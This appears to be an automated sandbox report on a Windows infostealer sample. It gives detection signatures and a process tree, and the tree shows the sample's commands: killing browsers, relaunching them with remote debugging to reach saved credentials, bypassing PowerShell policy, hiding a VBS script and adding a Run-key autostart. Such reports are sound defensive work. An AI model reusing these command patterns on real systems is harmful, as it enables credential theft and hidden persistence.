Overview

overview

10

Static

static

10

2026-07-05...at.exe

windows10-2004-x64

8

2026-07-05...at.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/07/2026, 15:01

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-07-05_a84b751758a0f45523db1fc7474c3cad_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
  • Size 12.5MB
  • Sample260705-sdwa2agx5q
  • SHA256 cbce2a2597408dfb88d3167ee91aef91084b769b086fe11b08854b5ec55c1d40
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
adwarecredential_accessdefense_evasiondiscoveryexecutionpersistenceransomwarespywarestealer

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Uses browser remote debugging 2 TTPs 17 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

    credential_accessstealer
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 33 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
    defense_evasion
  • Drops file in Windows directory 2 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Time Discovery 1 TTPs 2 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 6 IoCs
  • Kills process with taskkill 2 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 40 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 58 IoCs
  • Suspicious use of FindShellTrayWindow 56 IoCs
  • Suspicious use of SendNotifyMessage 43 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 45 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Views/modifies file attributes 1 TTPs 1 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-05_a84b751758a0f45523db1fc7474c3cad_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-05_a84b751758a0f45523db1fc7474c3cad_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4420
    • C:\Users\Admin\AppData\Local\Temp\2026-07-05_a84b751758a0f45523db1fc7474c3cad_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-05_a84b751758a0f45523db1fc7474c3cad_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3464
      • C:\Users\Admin\AppData\Local\Temp\ServiceUpdate_3464.exe
        C:\Users\Admin\AppData\Local\Temp\ServiceUpdate_3464.exe
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:964
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /F /IM chrome.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5824
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9876 "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --profile-directory=Default --remote-allow-origins=* --headless=new --disable-gpu --no-sandbox
        3⤵
        • Uses browser remote debugging
        • Drops file in Windows directory
        • Enumerates system info in registry
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:940
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff9701ac728,0x7ff9701ac734,0x7ff9701ac740
          4⤵
            PID:3228
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1824,i,1243499285421508267,1879689032469520147,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1820 /prefetch:2
            4⤵
              PID:4712
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1824,i,1243499285421508267,1879689032469520147,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1916 /prefetch:11
              4⤵
              • System Time Discovery
              PID:2276
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1824,i,1243499285421508267,1879689032469520147,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2196 /prefetch:13
              4⤵
                PID:2444
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=1824,i,1243499285421508267,1879689032469520147,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2884 /prefetch:1
                4⤵
                • Uses browser remote debugging
                PID:5716
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=1824,i,1243499285421508267,1879689032469520147,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2908 /prefetch:1
                4⤵
                • Uses browser remote debugging
                PID:4916
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=1824,i,1243499285421508267,1879689032469520147,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4092 /prefetch:1
                4⤵
                • Uses browser remote debugging
                PID:1340
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1824,i,1243499285421508267,1879689032469520147,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4132 /prefetch:14
                4⤵
                  PID:3108
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1824,i,1243499285421508267,1879689032469520147,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4672 /prefetch:14
                  4⤵
                    PID:2828
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=1824,i,1243499285421508267,1879689032469520147,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4788 /prefetch:1
                    4⤵
                    • Uses browser remote debugging
                    PID:5512
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=1824,i,1243499285421508267,1879689032469520147,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4804 /prefetch:1
                    4⤵
                    • Uses browser remote debugging
                    PID:1684
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=1824,i,1243499285421508267,1879689032469520147,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4852 /prefetch:1
                    4⤵
                    • Uses browser remote debugging
                    PID:3024
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --field-trial-handle=1824,i,1243499285421508267,1879689032469520147,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4800 /prefetch:1
                    4⤵
                    • Uses browser remote debugging
                    PID:3528
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1824,i,1243499285421508267,1879689032469520147,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4996 /prefetch:14
                    4⤵
                      PID:6052
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --field-trial-handle=1824,i,1243499285421508267,1879689032469520147,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4884 /prefetch:1
                      4⤵
                      • Uses browser remote debugging
                      PID:4908
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=1824,i,1243499285421508267,1879689032469520147,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4996 /prefetch:1
                      4⤵
                      • Uses browser remote debugging
                      PID:1160
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --field-trial-handle=1824,i,1243499285421508267,1879689032469520147,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5060 /prefetch:1
                      4⤵
                      • Uses browser remote debugging
                      PID:4652
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --field-trial-handle=1824,i,1243499285421508267,1879689032469520147,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4884 /prefetch:1
                      4⤵
                      • Uses browser remote debugging
                      PID:1888
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1824,i,1243499285421508267,1879689032469520147,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4676 /prefetch:14
                      4⤵
                        PID:1360
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1824,i,1243499285421508267,1879689032469520147,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5124 /prefetch:14
                        4⤵
                          PID:2372
                      • C:\Windows\SYSTEM32\taskkill.exe
                        taskkill /F /IM msedge.exe
                        3⤵
                        • Kills process with taskkill
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4732
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9876 "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --profile-directory=Default --remote-allow-origins=* --headless=new --disable-gpu --no-sandbox
                        3⤵
                        • Uses browser remote debugging
                        • Drops file in Windows directory
                        • Enumerates system info in registry
                        • Suspicious use of FindShellTrayWindow
                        • Suspicious use of WriteProcessMemory
                        PID:5792
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x250,0x254,0x258,0x24c,0x318,0x7ff96fb0c188,0x7ff96fb0c194,0x7ff96fb0c1a0
                          4⤵
                            PID:5212
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=2164,i,6376015271137450625,15288505783609266492,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2160 /prefetch:2
                            4⤵
                              PID:3308
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2164,i,6376015271137450625,15288505783609266492,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2168 /prefetch:11
                              4⤵
                              • System Time Discovery
                              PID:4352
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2164,i,6376015271137450625,15288505783609266492,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2252 /prefetch:13
                              4⤵
                                PID:5936
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2164,i,6376015271137450625,15288505783609266492,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3292 /prefetch:1
                                4⤵
                                • Uses browser remote debugging
                                PID:5984
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2164,i,6376015271137450625,15288505783609266492,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3320 /prefetch:1
                                4⤵
                                • Uses browser remote debugging
                                PID:2088
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=2164,i,6376015271137450625,15288505783609266492,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3784 /prefetch:1
                                4⤵
                                • Uses browser remote debugging
                                PID:2760
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=2164,i,6376015271137450625,15288505783609266492,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2392 /prefetch:9
                                4⤵
                                • Uses browser remote debugging
                                PID:4200
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2164,i,6376015271137450625,15288505783609266492,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4640 /prefetch:14
                                4⤵
                                  PID:1144
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2164,i,6376015271137450625,15288505783609266492,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4768 /prefetch:14
                                  4⤵
                                    PID:5128
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --no-sandbox --onnx-enabled-for-ee --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2164,i,6376015271137450625,15288505783609266492,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4812 /prefetch:14
                                    4⤵
                                      PID:2588
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\tmp9pi9oy5k.ps1
                                    3⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:2828
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\kPmgOidBYt.vbs""
                                    3⤵
                                    • Hide Artifacts: Hidden Files and Directories
                                    • Suspicious use of WriteProcessMemory
                                    PID:1444
                                    • C:\Windows\system32\attrib.exe
                                      attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\kPmgOidBYt.vbs"
                                      4⤵
                                      • Views/modifies file attributes
                                      PID:5392
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "kPmgOidBYt" /t REG_SZ /d "wscript.exe "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\kPmgOidBYt.vbs"" /f"
                                    3⤵
                                    • Suspicious use of WriteProcessMemory
                                    PID:3500
                                    • C:\Windows\system32\reg.exe
                                      reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "kPmgOidBYt" /t REG_SZ /d "wscript.exe "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\kPmgOidBYt.vbs"" /f
                                      4⤵
                                      • Adds Run key to start application
                                      PID:1684
                                  • C:\Windows\SYSTEM32\wscript.exe
                                    wscript.exe C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\kPmgOidBYt.vbs
                                    3⤵
                                    • Suspicious use of WriteProcessMemory
                                    PID:1412
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
